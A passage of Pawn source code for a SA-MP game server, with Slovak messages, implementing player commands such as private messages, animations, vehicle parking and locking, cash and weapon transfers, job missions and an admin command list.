                new id = Player[playerid][SaveID];
            
                if(IsPlayerConnected(id))
                {
                    new text1[128];
                    new Name2[24];
                    GetPlayerName(id,Name2,24);
                    
                    format(text1, 128, "{ffff70}PM pre: {ff0000}%s (%d)", Name2, id);
                    
                    if(!strlen(inputtext)) return ShowPlayerDialog(playerid, Dialog_PM, DIALOG_STYLE_INPUT, text1, "{ff0000}Nezadal si text !\n{c5c5c5}Zadaj text zprávy:", "Poslat", "Cancel");
                    else
                    {
                        new Name[24];
                        GetPlayerName(playerid, Name, 24);
                        
                        new msg[256];
                        new msg2[256];
                        
                        format(msg, 256, "PM pre %s (%d): %s", Name2, id, inputtext);
                        format(msg2, 256, "PM od %s (%d): %s", Name, playerid, inputtext);
                        
                        SendClientMessage(playerid, COLOR_YELLOW, msg);
                        SendClientMessage(id, COLOR_YELLOW, msg2);
                    }
                }
                else SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Hráč sa medzitým odpojil !");
            }
        }
    }
    return 1;
}

dcmd_help(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        StartTutorial(playerid);
    }
    return 1;
}

dcmd_unbug(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        Player[playerid][IPIP] = false;
    }
    return 1;
}

dcmd_tutorial(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        StartTutorial(playerid);
    }
    return 1;
}

dcmd_animations(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX, "{ffff00}Animations", "{ffff70}/handsup\n/sit\n/lay\n/wave\n/chat\n/dance\n/usephone\n/endphone", "Cancel", "");
    }
    return 1;
}

dcmd_usephone(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT || Player[playerid][FreezeP] == true) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Teraz nemôžeš používať animacie !");
        else
        {
            SetPlayerSpecialAction(playerid, SPECIAL_ACTION_USECELLPHONE);
        }
    }
    return 1;
}

dcmd_endphone(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT || Player[playerid][FreezeP] == true) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Teraz nemôžeš používať animacie !");
        else
        {
            SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
        }
    }
    return 1;
}

dcmd_handsup(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT || Player[playerid][FreezeP] == true) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Teraz nemôžeš používať animacie !");
        else
        {
            UsePlayerStoppingAnimation[playerid]=true;
            SetPlayerSpecialAction(playerid, SPECIAL_ACTION_HANDSUP);
        }
    }
    return 1;
}

dcmd_sit(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT || Player[playerid][FreezeP] == true) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Teraz nemôžeš používať animacie !");
        else
        {
            ApplyAnimation(playerid,"BEACH", "ParkSit_M_loop", 4.0, 1, 0, 0, 0, 0);
            IsPlayerUsingLoopingAnimation[playerid] = 1;
        }
    }
    return 1;
}

dcmd_lay(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT || Player[playerid][FreezeP] == true) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Teraz nemôžeš používať animacie !");
        else
        {
            ApplyAnimation(playerid,"BEACH", "bather", 4.0, 1, 0, 0, 0, 0);
            IsPlayerUsingLoopingAnimation[playerid] = 1;
        }
    }
    return 1;
}

dcmd_wave(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT || Player[playerid][FreezeP] == true) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Teraz nemôžeš používať animacie !");
        else
        {
            ApplyAnimation(playerid, "ON_LOOKERS", "wave_loop", 4.0, 1, 0, 0, 0, 0);
            IsPlayerUsingLoopingAnimation[playerid] = 1;
        }
    }
    return 1;
}

dcmd_chat(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT || Player[playerid][FreezeP] == true) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Teraz nemôžeš používať animacie !");
        else
        {
            ApplyAnimation(playerid,"PED","IDLE_CHAT",4.0,0,0,0,0,0);
        }
    }
    return 1;
}

dcmd_dance(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
             if(!strlen(params) || strlen(params) >= 2) return SendClientMessage(playerid,0xFF0000FF,"[  !  ]{ffffff} Použi: /dance [ 1 - 4 ]");
        else if(strval(params) < 1 || strval(params) > 4) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Použi: /dance [ 1 - 4 ]");
        else if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT || Player[playerid][FreezeP] == true) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Teraz nemôžeš používať animacie !");
        else
        {
                 if(strval(params) == 1) SetPlayerSpecialAction(playerid, SPECIAL_ACTION_DANCE1);
            else if(strval(params) == 2) SetPlayerSpecialAction(playerid, SPECIAL_ACTION_DANCE2);
            else if(strval(params) == 3) SetPlayerSpecialAction(playerid, SPECIAL_ACTION_DANCE3);
            else if(strval(params) == 4) SetPlayerSpecialAction(playerid, SPECIAL_ACTION_DANCE4);
        }
    }
    return 1;
}

dcmd_vehicles(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new Vehname[5][32];
        new V_id[16];
        new way[32];
        new Name[24];
        new string[256];
        
        GetPlayerName(playerid, Name, 24);
        format(way, 32, "SL/%s.cfg", Name);
        
        for(new v=0; v<5; v++)
        {
            format(V_id, 16, "V%d_id", v);
            if(dini_Int(way, V_id) == 0) Vehname[v]="{a2a2a2}- none -";
            else format(Vehname[v], 32, "{ffffff}%s", VehicleName[dini_Int(way, V_id) - 400]);
        }
        
        if(Player[playerid][VIP] == 0) format(string, 256, "%s\n%s\n%s", Vehname[0], Vehname[1], Vehname[2]);
        else format(string, 256, "%s\n%s\n%s\n%s\n%s", Vehname[0], Vehname[1], Vehname[2], Vehname[3], Vehname[4]);
        
        ShowPlayerDialog(playerid, Dialog_PlayerVehiclesMenu, DIALOG_STYLE_LIST, "{ffff00}Vozidlá", string, "OK", "Cancel");
    }
    return 1;
}

dcmd_dddfffg(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        ShowPlayerDialog(playerid, Dialog_Updates, DIALOG_STYLE_LIST, "{00bb00}Updates", "{c5c5c5}Version 5.74\n{c5c5c5}Version 5.75\nVersion 5.76\n{ffff70}Version 5.77", "OK", "Cancel");
    }
    return 1;
}

dcmd_park(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new bool:IsVehicleTrueVehicle=false;
        new vehicleseries;

        if(GetPlayerVehicleID(playerid) > 0)
        {
            for(new s=0; s<5; s++)
            {
                if(PlayerVehicle_State[s][playerid] == true)
                {
                    if(GetPlayerVehicleID(playerid) == PlayerVehicle[s][playerid])
                    {
                        IsVehicleTrueVehicle=true;
                        vehicleseries = s;
                        break;
                    }
                }
            }
        }
    
        if(GetPlayerVehicleID(playerid) == 0) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nie si vo vozidle !");
        else if(IsVehicleTrueVehicle == false) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nie si vo vlastnom vozidle !");
        else
        {
            new way[32], Name[24];
            GetPlayerName(playerid, Name, 24);
            format(way, 32, "SL/%s.cfg", Name);
            
            new Float:x, Float:y, Float:z, Float:a;
            GetVehiclePos(GetPlayerVehicleID(playerid), x, y, z);
            GetVehicleZAngle(GetPlayerVehicleID(playerid), a);
            
            new V_posX[16], V_posY[16], V_posZ[16], V_angle[16];
            format(V_posX, 16, "V%d_posX", vehicleseries);
            format(V_posY, 16, "V%d_posY", vehicleseries);
            format(V_posZ, 16, "V%d_posZ", vehicleseries);
            format(V_angle, 16, "V%d_angle", vehicleseries);
            
            dini_FloatSet(way, V_posX, x);
            dini_FloatSet(way, V_posY, y);
            dini_FloatSet(way, V_posZ, z);
            dini_FloatSet(way, V_angle, a);
            
            FormatPlayerInfoBox(playerid, "~g~Info Box", "~w~Uspesne si si zaparkoval vozidlo!", 2750);
        }
    }
    return 1;
}

dcmd_giveitem(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id=strval(params);

        new Float:x, Float:y, Float:z;
        GetPlayerPos(playerid, x, y, z);

             if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Použi: /giveitem [ ID ] !");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else if(IsPlayerInSphere(id, x, y, z, 3))
        {
            Player[playerid][GiveItem_PID] = id;

            new n[24], string[64];
            GetPlayerName(id, n, 24);

            format(string, 64, "{ffff00}%s", n);

            ShowPlayerDialog(playerid, Dialog_GiveItem_Item, DIALOG_STYLE_LIST, string, "Jedlo a pitie\nBomby\nBonus\nOstatné", "Ďalej", "Cancel");
        }
        else return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč zo zadaným ID nie je pri tebe !");
    }
    return 1;
}

dcmd_kill(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][TA_Player]!=9999) OnPlayerExitTerroristsAssault(playerid);
        else if(Player[playerid][ME2_Player]!=9999) OnPlayerExitMirrorsEdge2(playerid);
        else if(Player[playerid][NFSSA_Player]!=9999) OnPlayerExitNFSSA(playerid);
        else if(Player[playerid][SP_Player]!=9999) OnPlayerExitStuntPark(playerid);
        else if(Player[playerid][DTC_Player]!=9999) OnPlayerExitDTC(playerid);
        else if(Player[playerid][D_Player]!=9999) OnPlayerExitDemolationDerby(playerid);
        else if(Player[playerid][MTBR_Player]!=9999) OnPlayerExitMTBR(playerid);
        else if(Player[playerid][DA_Player]!=9999)
        {
                 if(Game[DA_Players]==1) return OnPlayerExitDuelArena(playerid, 500);
            else if(Game[DA_Players]==2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemôžeš sa zabiť počas duelu !");
        }
        else if(Player[playerid][UseNotebookTV]==true)
        {
            Player[playerid][UseNotebookTV]=false;
            Player[playerid][UseNotebook]=false;
            PlayerCameraBack(playerid);
        }
        else if(Player[playerid][IsPlayerKidnapping]==true) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemôžeš sa zabiť keď si uneseny !");
        else KillPlayer(playerid);
    }
    return 1;
}

dcmd_pm(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        new text1[128];
        
        if(IsPlayerConnected(id))
        {
            new Name2[24];
            GetPlayerName(id,Name2,24);
            format(text1, 128, "{ffff70}PM pre: {ff0000}%s (%d)", Name2, id);
        }
        
        if(!strlen(params)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} /pm [ ID ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč zo zadaným ID nie je na serevri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else
        {
            Player[playerid][SaveID] = id;
        
            ShowPlayerDialog(playerid, Dialog_PM, DIALOG_STYLE_INPUT, text1, "{c5c5c5}Zadaj text zprávy:", "Poslat", "Cancel");
        }
    }
    return 1;
}

dcmd_account(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new Name[24];
        GetPlayerName(playerid,Name,24);
        new Text1[64];
        format(Text1,64,"Player: %s",Name);
        ShowPlayerDialog(playerid,Dialog_Info1,DIALOG_STYLE_LIST,Text1,"Change password\nChange name (100 000$)\nMy IP Address\nAccount Info\n{FFCC00}VIP","OK","Cancel");
    }
    return 1;
}

dcmd_inventar(playerid, params[])
{
    #pragma unused params

    if(IsPlayerConnected(playerid))
    {
        if(GetPlayerVehicleID(playerid) > 0) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemôžeš používat inventár vo vozidle !");
        if(GetPlayerVirtualWorld(playerid) >= 2000 && GetPlayerVirtualWorld(playerid) <= 2020) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemôžeš používať inventár keď hráš notebook hru !");
        else ShowPlayerDialog(playerid,Dialog_Inventar,DIALOG_STYLE_LIST,"{ffff00}Inventár","Jedlo a pitie\nBomby\nBonus\nOstatne","OK","Cancel");
    }
    return 1;
}

dcmd_drift(playerid, params[])
{
    #pragma unused params

    if(IsPlayerConnected(playerid))
    {
        if((Player[playerid][DriftState] == false) && (GetPlayerVehicleID(playerid) > 0))
        {
            Player[playerid][DriftState]=true;
            SendClientMessage(playerid, COLOR_GREEN, "Zapol si si Drift Mod !");
            TextDrawShowForPlayer(playerid,DrawDriftScore[playerid]);
            TextDrawShowForPlayer(playerid,DrawTotalDriftScore[playerid]);
        }
        else if(Player[playerid][DriftState] == true)
        {
            CancelDrifting(playerid);
            Player[playerid][DriftState]=false;
            SendClientMessage(playerid, COLOR_RED, "Vypol si si Drift Mod !");
        }
        if(GetPlayerVehicleID(playerid) == 0)
        {
            SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nie si ve vozidle !");
        }
    }
    return 1;
}

dcmd_leaveclan(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][ClanP] == 9999) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si v žiadnom clane !");
        else if(Player[playerid][ClanRank] == 0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Ako majiteľ clanu nemôžeš opustiť clan, musiš ho predať alebo nastaviť iného člena za majiteľa !");
        else
        {
            new Name[24];
            GetPlayerName(playerid,Name,24);

            new string[64];
            format(string,64, "~w~Hrac ~y~%s~w~ opustil clan !", Name);

            for(new i=0; i<=Server[ConP]; i++)
            {
                if(IsPlayerConnected(i))
                {
                    if(!IsPlayerNPC(i))
                    {
                        if(Player[playerid][ClanP] == Player[i][ClanP])
                        {
                            FormatPlayerInfoBox(i, "~g~Clan", string, 4000);
                        }
                    }
                }
            }

            OnPlayerLeaveClan(playerid);
        }
    }
    return 1;
}

dcmd_missionoff(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(Player[playerid][BrigadaID] == 0 || Player[playerid][BrigadaID] == 1 || Player[playerid][MissionID] == 12 || Player[playerid][MissionID] == 13 || Player[playerid][MissionID] == 27)
        {
            FormatPlayerInfoBox(playerid,"~g~Brigada","~w~Ukoncil si svou misi.",3000);

            Player[playerid][BrigadaID]=9999;
            Player[playerid][BrigadaInfo]=9999;
            Player[playerid][BrigadaTime]=9999;

            Player[playerid][MissionID]=9999;
            Player[playerid][MissionInfo]=9999;

            DisablePlayerRaceCheckpoint(playerid);
        }

        else SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Neplníš žiadnu misiu !");
    }
    return 1;
}

dcmd_mission(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(Player[playerid][Team] != 12 && Player[playerid][Team] != 13 && Player[playerid][Team] != 27) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Iba pre: Autobusárov, Upratovaciu Službu a Smetiarov !");
        else if(Player[playerid][MissionID] != 9999) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Už plníš nejaku misiu ! Použi: /missionoff pre ukončenie misie !");
        else if(Player[playerid][BrigadaID] != 9999) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemôžeš plniť naraz brigádu aj misiu !");
        else if(GetPlayerVehicleID(playerid) == 0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si vo vozidle !");
        else if((Player[playerid][Team] == 12) && (GetVehicleModel(GetPlayerVehicleID(playerid)) != 431) && (GetVehicleModel(GetPlayerVehicleID(playerid)) != 437)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si v autobuse (Bus nwbo Coach) !");
        else if((Player[playerid][Team] == 13) && (GetVehicleModel(GetPlayerVehicleID(playerid)) != 574)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si v upratovacom vozidle (Sweeper) !");
        else if((Player[playerid][Team] == 27) && (GetVehicleModel(GetPlayerVehicleID(playerid)) != 408)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si v smetiarskom aute (Trashmaster) !");
        else
        {
            DisablePlayerRaceCheckpoint(playerid);

            if(Player[playerid][Team] == 12)
            {
                Player[playerid][MissionInfo]=0;
                Player[playerid][MissionID]=12;
                SetPlayerRaceCheckpoint(playerid,0,2081.0964355469,-1903.8985595703,13.386157989502,1948.96484375,-1931.9669189453,13.3828125,10);

                SendClientMessage(playerid, COLOR_BLUE_LIGHT, "Choď podľa checkpointov po meste ! Pre ukončenie misie použi: /missionoff");
            }

            if(Player[playerid][Team] == 13)
            {
                Player[playerid][MissionInfo]=0;
                Player[playerid][MissionID]=13;

                switch(random(27))
                {
                    case 0: SetPlayerRaceCheckpoint(playerid,1,1824.3930664063,-2164.3544921875,13.3828125,0,0,0,9);
                    case 1: SetPlayerRaceCheckpoint(playerid,1,1448.2495117188,-1493.7911376953,13.373216629028,0,0,0,9);
                    case 2: SetPlayerRaceCheckpoint(playerid,1,1712.79296875,-1440.2418212891,13.39061164856,0,0,0,9);
                    case 3: SetPlayerRaceCheckpoint(playerid,1,2430.8112792969,-1730.8989257813,13.567359924316,0,0,0,9);
                    case 4: SetPlayerRaceCheckpoint(playerid,1,2111.9382324219,-1462.3192138672,23.835441589355,0,0,0,9);
                    case 5: SetPlayerRaceCheckpoint(playerid,1,2080.7646484375,-1928.7707519531,13.359035491943,0,0,0,9);
                    case 6: SetPlayerRaceCheckpoint(playerid,1,2642.5444335938,-1048.2141113281,69.406829833984,0,0,0,9);
                    case 7: SetPlayerRaceCheckpoint(playerid,1,2489.5285644531,-1668.388671875,13.34375,0,0,0,9);
                    case 8: SetPlayerRaceCheckpoint(playerid,1,2902.1752929688,-1494.0219726563,10.875,0,0,0,9);
                    case 9: SetPlayerRaceCheckpoint(playerid,1,2870.8850097656,-1490.5750732422,10.826892852783,0,0,0,9);
                    case 10: SetPlayerRaceCheckpoint(playerid,1,2141.1975097656,-1115.1564941406,25.265214920044,0,0,0,9);
                    case 11: SetPlayerRaceCheckpoint(playerid,1,359.59469604492,-1527.4510498047,33.100524902344,0,0,0,9);
                    case 12: SetPlayerRaceCheckpoint(playerid,1,1325.8486328125,-702.20703125,92.366477966309,0,0,0,9);
                    case 13: SetPlayerRaceCheckpoint(playerid,1,985.32928466797,-804.87890625,98.85807800293,0,0,0,9);
                    case 14: SetPlayerRaceCheckpoint(playerid,1,497.7473449707,-1176.9984130859,60.605377197266,0,0,0,9);
                    case 15: SetPlayerRaceCheckpoint(playerid,1,494.91537475586,-1211.841796875,45.750835418701,0,0,0,9);
                    case 16: SetPlayerRaceCheckpoint(playerid,1,810.57537841797,-1768.0369873047,13.3984375,0,0,0,9);
                    case 17: SetPlayerRaceCheckpoint(playerid,1,370.9248046875,-2037.5270996094,7.671875,0,0,0,9);
                    case 18: SetPlayerRaceCheckpoint(playerid,1,1196.6022949219,-1569.9536132813,13.3828125,0,0,0,9);
                    case 19: SetPlayerRaceCheckpoint(playerid,1,837.20373535156,-1612.6126708984,13.3828125,0,0,0,9);
                    case 20: SetPlayerRaceCheckpoint(playerid,1,2512.4453125,-1396.4344482422,28.359375,0,0,0,9);
                    case 21: SetPlayerRaceCheckpoint(playerid,1,1658.7387695313,-1872.1809082031,13.3828125,0,0,0,9);
                    case 22: SetPlayerRaceCheckpoint(playerid,1,1689.8544921875,-1595.4603271484,13.386085510254,0,0,0,9);
                    case 23: SetPlayerRaceCheckpoint(playerid,1,2071.349609375,-1300.7163085938,23.8203125,0,0,0,9);
                    case 24: SetPlayerRaceCheckpoint(playerid,1,1040.3450927734,-2283.0258789063,12.921875,0,0,0,9);
                    case 25: SetPlayerRaceCheckpoint(playerid,1,2714.0732421875,-1946.1121826172,13.372629165649,0,0,0,9);
                    case 26..30: SetPlayerRaceCheckpoint(playerid,1,2283.9694824219,-2079.1989746094,13.3828125,0,0,0,9);
                }

                SendClientMessage(playerid, COLOR_BLUE_LIGHT, "Choď podľa checkpointov po meste ! Pre ukončenie misie použi: /missionoff");
            }

            if(Player[playerid][Team] == 27)
            {
                Player[playerid][MissionInfo]=0;
                Player[playerid][MissionID]=27;

                switch(random(12))
                {
                    case 0: SetPlayerRaceCheckpoint(playerid,1,-2470.8259277344,776.2412109375,35.171875,0,0,0,5);
                    case 1: SetPlayerRaceCheckpoint(playerid,1,-2243.8195800781,113.53688812256,35.3203125,0,0,0,5);
                    case 2: SetPlayerRaceCheckpoint(playerid,1,-2483.3395996094,-169.48406982422,25.671258926392,0,0,0,5);
                    case 3: SetPlayerRaceCheckpoint(playerid,1,-2575.4829101563,460.52169799805,14.609375,0,0,0,5);
                    case 4: SetPlayerRaceCheckpoint(playerid,1,-2656.5383300781,-124.895362854,4.0044422149658,0,0,0,5);
                    case 5: SetPlayerRaceCheckpoint(playerid,1,-2655.3994140625,-188.83984375,4.0819988250732,0,0,0,5);
                    case 6: SetPlayerRaceCheckpoint(playerid,1,-2757.5300292969,-55.333545684814,7.0122690200806,0,0,0,5);
                    case 7: SetPlayerRaceCheckpoint(playerid,1,-1591.8341064453,1260.7489013672,7.1831111907959,0,0,0,5);
                    case 8: SetPlayerRaceCheckpoint(playerid,1,-1657.9704589844,456.72955322266,7.1796875,0,0,0,5);
                    case 9: SetPlayerRaceCheckpoint(playerid,1,-1853.2305908203,-194.38059997559,18.375,0,0,0,5);
                    case 10: SetPlayerRaceCheckpoint(playerid,1,-2152.748046875,630.28015136719,52.3671875,0,0,0,5);
                    case 11..20: SetPlayerRaceCheckpoint(playerid,1,-2688.0405273438,1408.7341308594,7.1015625,0,0,0,5);
                }

                SendClientMessage(playerid, COLOR_BLUE_LIGHT, "Choď podľa checkpointov po meste a hľadaj smetne koše ! Pre ukončenie misie použi: /missionoff");
            }
        }
    }
    return 1;
}

dcmd_lock(playerid,params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new vehicleid = GetPlayerVehicleID(playerid);

        if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
        {
            SendClientMessage(playerid,COLOR_ORANGE,"Vozidlo - Zamknuté !");
            new Float:vX, Float:vY, Float:vZ;
            GetPlayerPos(playerid,vX,vY,vZ);
            PlayerPlaySound(playerid,1056,vX,vY,vZ);
            VehicleStatus[vehicleid] = true;
            VehicleLockedID[vehicleid] = playerid;
            for(new i = 0; i<MAX_PLAYERS_EX; i++)
            {
                SetVehicleParamsForPlayer(vehicleid, i, 0, 1);
            }
            SetVehicleParamsForPlayer(vehicleid, playerid, 0, 0);

        }

        else return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Musíš byť vodič !");
    }
    return 1;
}

dcmd_unlock(playerid,params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new PState = GetPlayerState(playerid);
        new vehicleid = GetPlayerVehicleID(playerid);

        if(PState == PLAYER_STATE_DRIVER)
        {
            SendClientMessage(playerid,COLOR_ORANGE,"Vozidlo - Odomknuté !");
            new Float:vX, Float:vY, Float:vZ;
            GetPlayerPos(playerid,vX,vY,vZ);
            PlayerPlaySound(playerid,1056,vX,vY,vZ);
            VehicleStatus[GetPlayerVehicleID(playerid)] = false;
            for(new i = 0; i<MAX_PLAYERS_EX; i++)
            {
                SetVehicleParamsForPlayer(vehicleid, i, 0, 0);
            }

        }

        else return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Musíš byť vodič !");
    }
      return 1;
}

dcmd_admin(playerid,params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(Player[playerid][AdminLevel]==0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Admin Príkazy","{ff0000}Nie si Administrátor !","OK","Cancel");
        else ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Admin Příkazy","1 Level\n/say /text /clear /getmypos\n\n2 Level\n/mute /unmute /freeze /unfreeze /var /cheattest\n\n3 Level\n/kick /goto /get /spec /unspec /setskin\n\n4 Level\n/ban /hp /player /getall /disarmall /car /cardestroy /mappoint /setweather\n/dmcreate /dmjoin /dmstart /dmend\n\n5 Level\n/gm /gw /setadmin /serverinfo /gmx /setvip /removevip /hidetds\n/showtds /shownt /hident /setrespect /setskill","OK","Cancel");
    }
      return 1;
}

dcmd_iamadmin(playerid,params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(!IsPlayerAdmin(playerid)) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Admin Príkazy","{ff0000}Nie si Administrátor !","OK","Cancel");
        else if(IsPlayerAdmin(playerid))
        {
            ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Admin Info Box","{ffff00}Teraz mas Admin Level 5 !","OK","Cancel");
            Player[playerid][AdminLevel]=5;
        }
    }
      return 1;
}

dcmd_givecash(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        new cash = strval(params[chrfind(' ',params)+1]);

             if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} /givecash [ ID ] [ MONEY ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč zo zadaným ID nie je na serevri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else if(cash > Player[playerid][Money]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazí !");
        else if(cash <= 0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemôžeš hráčovi neposlať nič alebo zápornou hodnotu !");
        else
        {
            new Name[24];
            GetPlayerName(playerid,Name,24);
            new Name2[24];
            GetPlayerName(id,Name2,24);
            new msg[166];
            new msg2[166];
            format(msg,166,"Poslal si hráčovi %s %d$",Name2,cash);
            format(msg2,166,"Hráč %s ti poslal %d$",Name,cash);
            SendClientMessage(playerid,COLOR_YELLOW,msg);
            SendClientMessage(id,COLOR_YELLOW,msg2);
            GivePlayerACMoney(playerid,-cash);
            GivePlayerACMoney(id,cash);
        }
    }
    return 1;
}

dcmd_giveweapon(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        new ammo = strval(params[chrfind(' ',params)+1]);

             if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} /giveweapon [ ID] [ AMMO ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč zo zadaným ID nie je na serevri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Tohle je NPC !");
        else if(ammo > GetPlayerAmmo(playerid)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok nábojov !");
        else if(ammo <= 0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemôžeš hráčovi neposlať nič alebo zápornou hodnotu !");
        else if(GetPlayerWeapon(playerid) == 0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemôžeš niekomu poslať svoju ruku, si vadny ?!");
        else
        {
            new Name[24];
            GetPlayerName(playerid,Name,24);
            new Name2[24];
            GetPlayerName(id,Name2,24);

            new msg[166];
            new msg2[166];

            format(msg,166, "Poslal si hráčovi %s zbraň %s (%d nábojov) !", Name2, WeaponName(GetPlayerWeapon(playerid)), ammo);
            format(msg2,166, "Hráč %s ti poslal zbraň %s (%d nábojov) !", Name, WeaponName(GetPlayerWeapon(playerid)), ammo);

            SendClientMessage(playerid,COLOR_YELLOW,msg);
            SendClientMessage(id,COLOR_YELLOW,msg2);

            GivePlayerWeapon(playerid, GetPlayerWeapon(playerid), -ammo);
            GivePlayerWeapon(id, GetPlayerWeapon(playerid), ammo);
        }
    }
    return 1;
}

dcmd_report(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
